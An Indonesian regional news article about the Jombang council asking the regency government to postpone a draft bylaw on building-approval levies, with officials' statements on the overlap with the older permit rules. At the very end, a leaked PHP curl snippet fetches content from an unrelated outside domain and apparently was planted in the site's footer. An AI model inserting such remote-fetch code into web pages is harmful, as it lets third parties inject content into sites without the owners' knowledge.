Rapat Paripurna Tentang Raperda Retribusi Persetujuan Bangunan Gedung

Rabu, 9 Maret 2022

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jombang l Jejakkasus.Info – Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Jombang meminta Pemerintah Kabupaten Jombang menunda Rencana Penerbitan Peraturan Daerah (Raperda) Persetujuan Bangunan Gedung (PBG), karena dalam implementasinya Raperda tersebut sama dengan Ijin Mendirikan Bangunan (IMB).

Permintaan tersebut disampaikan oleh Muhaimin, Ketua Badan Pembentukan Peraturan Daerah (Bapemperda) DPRD Kabupaten Jombang saat rapat dengar pendapat dengan OPD terkait yang membahas empat Raperda, di ruang rapat paripurna, Rabu (9/3/2022).
Muhaimin didampingi Mustofa Wakil Ketua Bapemperda saat menjawab awak media seusai memimpin rapat mengatakan, mengenai hal tersebut, PBG sudah tersurat dalam UUD No 11 tahun 2020 terkait dengan Ciptakerja. Namun ketika berbalik menerapkan Perda retribusi IMB, sudah muncul pada UUD No 1 tahun 2022, sehingga akan terjadi penggabungan lagi, sebagaimana sudah tertuang pada Perda No 6 tahun 2020 terkait perizinan tertentu yang didalamnya juga ada IMB.

Baca Juga:  Jelang Pemilu 2024 KPU Jombang gelar Simulasi Pemungutan dan Rekapitulasi Suara

“Untuk itu, kita meminta Pemerintah menunda satu promo Raperda untuk tidak ditindaklanjuti, yaitu tentang Retribusi Persetujuan Bangunan Gedung. Kedepan masih bisa tetap menerapkan Perda Nomor 6 tahun 2020 terkait dengan perizinan tertentu yang di dalamnya ada IMB,” kata Muhaimin, anggota DPRD dari Partai PKB ini.

Empat agenda tersebut yaitu, 1) Retribusi Persetujuan Bangunan Gedung (RPBG), 2) Pengelolaan Keuangan Daerah, 3) Inovasi Daerah, 4) Pencegahan, Pemberantasan Penyalahgunaan dan Peredaran Gelap Narkoba. Pambahasan perihal tersebut menurut Muhaimin sudah dijadwalkan sejak tahun 2021 lalu.
Supaya tidak terjadi stagnansi terhadap peraturan itu, OPD bisa menggunakan Peraturan Bupati terkait penerapan IMB, agar pelayanan lebih maksimal, mengingat dalam penerapan IMB tidak ada pungutan.

Baca Juga:  Pembagian Bantuan Langsung Tunai Dana Desa Tahap 7 Desa Tanjung Kalang, Berjalan Lancar

Hadir dalam kesempatan tersebut Kepala Dinas PUPR Bayu Poncoroadi, Kepala BPKAD M Nasrullah, Kepala Kesbangpol Anwar, Kabag Hukum Setdakab Jombang, Agung dan Perwakilan dari Bappeda Kabupaten Jombang, serta sejumlah staf OPD terkait. Anggota DPRD yang hadir diantaranya, Ketua Fraksi PAN, Ketua Fraksi PPP, Ketua Fraksi PKB, Ketua Fraksi PDIP, Ketua Komisi C.
Kabag Hukum Setdakab Jombang Abdul Madjid Nindy Agung menjawab awak media, menyatakan, pihak ekeskutif sudah menyerahkan 4 draf Raperda dan naskah akademik kepada DPRD, karena itu hari ini dipanggil untuk memberikan penjelasan.
Menyikapi masukan DPRD agar eksekutif menunda Raperda PBG, Kabag Hukum selaku Pemerintah Kabupaten Jombang akan menindaklanjuti sesuai masukan DPRD.

Baca Juga:  Pernyataan Anton Charliyan, Terkait Aksi Demo GMBI 

Menurut Agung, sebagaimana lahirnya UUD No 1 tahun 2022 tentang perimbangan keuangan antara pemerintah pusat dan pemerintah daerah. Dari UUD itu muncul amanat SE melalui empat menteri yang terbit tanggal 25 Pebruari 2022, bahwa untuk IMB masih bisa diberlakukan sampai dengan 5 Januari 2024, dan tidak boleh memungut retribusi IMB. Apabila membuat Raperda tentang IMB tentu akan dicabut juga.
Berikutnya, berdasarkan SE empat menteri itu, daerah boleh memungut retribusi IMB untuk Persetujuan Bangunan Gedung.
“Untuk itu, kami akan menyusun Perda gabungan tentang pajak dan retribusi daerah menjadi satu Perda. Insya Allah, tahun 2023 kami akan menyusun dan menerbitkannya,” jelas Kabag Hukum Pemkab Jombang ini. (Aan jk)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

BAWASLU ajak Awak Media di Tanjabbar,  Wujudkan Pilkada Damai
Pjs Bupati Silaturahmi bersama Toga, Tomas dan Insan Pers
Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye
Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu
Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021
KPU Tanjab Barat lakukan Pengundian Nomor Urut Paslon Bupati dan Wakil Bupati 
Hermansyah Sekda Tanjab Barat hadiri Pelantikan Penjabat Bupati Merangin dan Sarolangun secara Virtual
Anwar Sadat Respon Cepat usulan Masyarakat, Kerusakan Jembatan di Wilayah Tanjab Barat

Berita Terkait

Selasa, 8 Oktober 2024 - 14:59 WIB

BAWASLU ajak Awak Media di Tanjabbar,  Wujudkan Pilkada Damai

Minggu, 6 Oktober 2024 - 16:59 WIB

Pjs Bupati Silaturahmi bersama Toga, Tomas dan Insan Pers

Rabu, 2 Oktober 2024 - 05:10 WIB

Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye

Sabtu, 28 September 2024 - 15:09 WIB

Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu

Kamis, 26 September 2024 - 08:51 WIB

Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>